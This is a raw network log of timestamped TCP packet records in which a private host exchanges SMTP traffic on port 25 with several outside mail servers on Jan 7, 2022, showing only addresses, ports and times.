Jan 7, 2022 15:54:45.116450071 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.143815994 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.143959999 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.148072004 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:45.148188114 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.171660900 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.171791077 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.200207949 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.202090979 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.202202082 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.210946083 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:45.211070061 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.229823112 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.229990005 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.262686014 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.289252043 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:45.289397001 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.289429903 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.289686918 CET	49821	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:45.350059032 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:45.350131989 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:45.350131989 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.350183964 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.350214958 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:45.350265980 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.392757893 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.392937899 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.420094013 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.420129061 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.420295000 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.420789003 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.450493097 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.450504065 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.450515032 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.450522900 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.450534105 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.450625896 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.450671911 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.452811003 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.452931881 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477247000 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477271080 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477286100 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477300882 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477319002 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477339983 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477340937 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477355957 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477392912 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477416039 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477420092 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477437019 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477452993 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477473021 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477473974 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477494955 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477524042 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477530003 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477540970 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477544069 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477549076 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477566004 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477566957 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477581978 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477586031 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477602959 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477618933 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.477647066 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.477679014 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.480943918 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.480962038 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.481043100 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.481084108 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504229069 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504261971 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504278898 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504292011 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504307032 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504308939 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504318953 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504328966 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504339933 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504339933 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504354954 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504358053 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504406929 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504420996 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504429102 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504440069 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504456043 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504470110 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504484892 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504498959 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504499912 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504514933 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504518032 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504528999 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504544020 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504558086 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504559994 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504600048 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504610062 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504622936 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504626036 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504641056 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504658937 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504687071 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504692078 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504703045 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504718065 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504733086 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504734993 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504776955 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504793882 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504867077 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504921913 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.504930019 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504944086 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504957914 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.504977942 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.505006075 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.505012989 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.505019903 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.505034924 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.505048037 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.505055904 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.505086899 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.505124092 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.505131006 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.505145073 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.505192041 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.505228996 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.507700920 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.507735014 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.507745028 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.507761955 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.507843018 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.507873058 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531364918 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531388998 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531485081 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531493902 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531497955 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531508923 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531521082 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531527996 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531534910 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531552076 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531605959 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531692982 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531703949 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531711102 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531754017 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531795025 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531835079 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531847000 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531853914 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531863928 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531872034 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531893969 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531930923 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531934023 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.531941891 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531949997 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531960011 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.531990051 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532016993 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532027960 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532035112 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532042027 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532043934 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532078981 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532108068 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532130957 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532131910 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532140970 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532149076 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532160044 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532166004 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532176971 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532181025 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532211065 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532243013 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532270908 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532284021 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532294035 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532318115 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532327890 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532340050 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532340050 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532351971 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532371044 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532397985 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532408953 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532416105 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532416105 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532439947 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532448053 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532454967 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532465935 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532495975 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532506943 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532517910 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532532930 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532572031 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532612085 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532723904 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532735109 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532742977 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532752991 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532761097 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532772064 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532778978 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532785892 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532787085 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532797098 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532826900 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532838106 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532860994 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532869101 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532875061 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532886028 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532892942 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532895088 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532905102 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532908916 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532917976 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532929897 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532939911 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532958984 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.532964945 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.532994986 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.533029079 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.533041954 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533052921 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533102989 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.533138990 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.533171892 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533181906 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533189058 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533200026 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533205986 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533216000 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533224106 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.533274889 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.533291101 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.533305883 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.533354998 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.534456968 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534470081 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534476995 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534487009 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534532070 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.534567118 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.534583092 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.534607887 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534617901 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534626007 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534636021 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.534661055 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.534687042 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.534717083 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558162928 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558182955 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558191061 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558204889 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558212042 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558219910 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558228016 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558234930 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558243036 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558254957 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558279037 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558286905 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558299065 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558306932 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558319092 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558361053 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558367968 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558381081 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558388948 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558391094 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558399916 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558403015 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558408976 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558429003 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558494091 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558528900 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558541059 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558547974 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558559895 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558567047 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558578014 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558588028 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558604002 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558633089 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558653116 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558654070 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558665037 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558676958 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558680058 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558687925 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558706999 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558715105 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558727026 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558754921 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558784008 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.558978081 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558990955 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.558998108 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559010029 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559017897 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559029102 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559041023 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559056997 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559068918 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559076071 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559087992 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559114933 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559132099 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559134007 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559144974 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559149027 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559153080 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559165001 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559220076 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559242010 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559382915 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559393883 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559401989 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559412956 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559426069 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559438944 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559454918 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559467077 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559473991 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559485912 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.559503078 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559540033 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.559571028 CET	49820	25	192.168.2.3	108.177.119.26
